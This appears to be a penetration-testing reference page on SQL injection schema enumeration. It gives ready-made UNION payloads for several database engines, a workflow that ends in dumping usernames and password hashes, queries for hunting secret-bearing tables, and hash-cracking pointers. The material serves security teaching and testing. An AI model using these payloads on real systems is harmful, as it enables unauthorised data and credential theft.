SQLi Database Enumeration
Once you have a working UNION or other extraction primitive, walk the schema systematically: databases → tables → columns → data.
TL;DR (MySQL/MariaDB, 4 columns reflected)
Section titled “TL;DR (MySQL/MariaDB, 4 columns reflected)”-- All databases' UNION SELECT NULL, schema_name, NULL, NULL FROM information_schema.schemata-- -
-- Tables in a specific DB' UNION SELECT NULL, table_name, table_schema, NULL FROM information_schema.tables WHERE table_schema='<DB>'-- -
-- Columns in a specific table' UNION SELECT NULL, column_name, table_name, NULL FROM information_schema.columns WHERE table_name='<TABLE>'-- -
-- Dump data' UNION SELECT NULL, <COL1>, <COL2>, NULL FROM <DB>.<TABLE>-- -The schema metadata interface
Section titled “The schema metadata interface”Every major DBMS exposes its schema through a metadata interface. The query shape changes per engine but the workflow is identical.
-- Current database nameSELECT database();
-- All databasesSELECT schema_name FROM information_schema.schemata;
-- Tables in current DBSELECT table_name FROM information_schema.tables WHERE table_schema=database();
-- Tables in any DBSELECT table_name FROM information_schema.tables WHERE table_schema='<DB>';
-- Columns in a tableSELECT column_name, data_type FROM information_schema.columns WHERE table_name='<TABLE>';
-- All columns in all tables (compact)SELECT GROUP_CONCAT(table_name, '.', column_name SEPARATOR '\n') FROM information_schema.columns WHERE table_schema=database();Default schemas to ignore: information_schema, mysql, performance_schema, sys.
-- Current databaseSELECT current_database();
-- All databasesSELECT datname FROM pg_database;
-- Tables in current DBSELECT table_name FROM information_schema.tables WHERE table_schema='public';
-- ColumnsSELECT column_name, data_type FROM information_schema.columns WHERE table_name='<TABLE>';
-- All non-system tablesSELECT schemaname, tablename FROM pg_tables WHERE schemaname NOT IN ('pg_catalog','information_schema');-- Current databaseSELECT DB_NAME();
-- All databasesSELECT name FROM master..sysdatabases;SELECT name FROM sys.databases;
-- TablesSELECT name FROM <DB>..sysobjects WHERE xtype='U';SELECT TABLE_NAME FROM <DB>.INFORMATION_SCHEMA.TABLES;
-- ColumnsSELECT name FROM <DB>..syscolumns WHERE id=OBJECT_ID('<DB>..<TABLE>');SELECT COLUMN_NAME FROM <DB>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='<TABLE>';-- Current user (Oracle has no per-database concept; user owns schema)SELECT user FROM dual;
-- All accessible tablesSELECT table_name FROM all_tables;SELECT owner, table_name FROM all_tables WHERE owner NOT IN ('SYS','SYSTEM','XDB');
-- ColumnsSELECT column_name, data_type FROM all_tab_columns WHERE table_name='<TABLE>';
-- Current user's tables onlySELECT table_name FROM user_tables;-- All tables (SQLite has no information_schema)SELECT name FROM sqlite_master WHERE type='table';
-- Schema of a specific tableSELECT sql FROM sqlite_master WHERE type='table' AND name='<TABLE>';
-- Columns via PRAGMA (only works in some contexts)SELECT name FROM pragma_table_info('<TABLE>');Workflow in practice
Section titled “Workflow in practice”Assume an id parameter, MySQL, 4 columns, position 2 reflected.
-
Fingerprint:
' UNION SELECT NULL,@@version,NULL,NULL-- - -
Current database:
' UNION SELECT NULL,database(),NULL,NULL-- -→ "appdb" -
List tables in appdb:
' UNION SELECT NULL,GROUP_CONCAT(table_name SEPARATOR ','),NULL,NULLFROM information_schema.tables WHERE table_schema='appdb'-- -→ "users,posts,sessions,migrations" -
Get columns of users:
' UNION SELECT NULL,GROUP_CONCAT(column_name SEPARATOR ','),NULL,NULLFROM information_schema.columns WHERE table_name='users'-- -→ "id,username,password,email,role,created_at" -
Dump credentials:
' UNION SELECT NULL,GROUP_CONCAT(username,':',password SEPARATOR '\n'),NULL,NULLFROM users-- -
Identifying high-value tables fast
Section titled “Identifying high-value tables fast”Names worth grepping for across all tables:
users, accounts, members, customers, employees, admins, staffauth, login, credentials, passwords, secrets, tokens, sessionsconfig, settings, options, envapi_keys, oauth, jwtpayment, card, billingCompact hunt query (MySQL):
' UNION SELECT NULL,GROUP_CONCAT(table_schema,'.',table_name SEPARATOR '\n'),NULL,NULL FROM information_schema.tables WHERE table_name REGEXP 'user|auth|cred|pass|secret|token|admin|api_key' AND table_schema NOT IN ('mysql','information_schema','performance_schema','sys')-- -Hashed passwords
Section titled “Hashed passwords”Stored passwords are usually hashed. After dumping, identify the hash format:
| Length | Likely hash |
|---|---|
| 32 hex | MD5 |
| 40 hex | SHA-1 |
| 64 hex | SHA-256 |
Starts with $2a$, $2b$, $2y$ | bcrypt |
Starts with $argon2 | Argon2 |
Starts with $1$, $5$, $6$ | crypt MD5/SHA-256/SHA-512 |
pbkdf2_sha256$... | Django |
Crack offline with hashcat. Use hashcat --identify <file> if unsure. See the credentials section of the Codex (when published) for cracking workflow.
Limit & offset for large result sets
Section titled “Limit & offset for large result sets”When GROUP_CONCAT/STRING_AGG truncates or output is one row at a time:
' UNION SELECT NULL,username,password,NULL FROM users LIMIT 1 OFFSET 0-- -' UNION SELECT NULL,username,password,NULL FROM users LIMIT 1 OFFSET 1-- --- No OFFSET in older versions' UNION SELECT TOP 1 NULL,username,password,NULL FROM users WHERE id NOT IN (SELECT TOP <N> id FROM users)-- -' UNION SELECT NULL,username,password,NULL FROM (SELECT username,password,ROWNUM r FROM users) WHERE r=<N>-- -For blind enumeration where you can’t see results directly, see Boolean blind - same workflow, character-by-character extraction.
information_schemaqueries are slower than direct table queries on large databases. If you only need a few specific tables and you can guess names, query them directly first.- Some apps deny queries containing
information_schemaas a string. See Filter bypasses for evasion (concatenation, hex encoding, comment insertion). - In MySQL 8.0+, some
information_schemaviews are restricted to users with appropriate privileges. If you can’t enumerate tables but you know names, query them directly.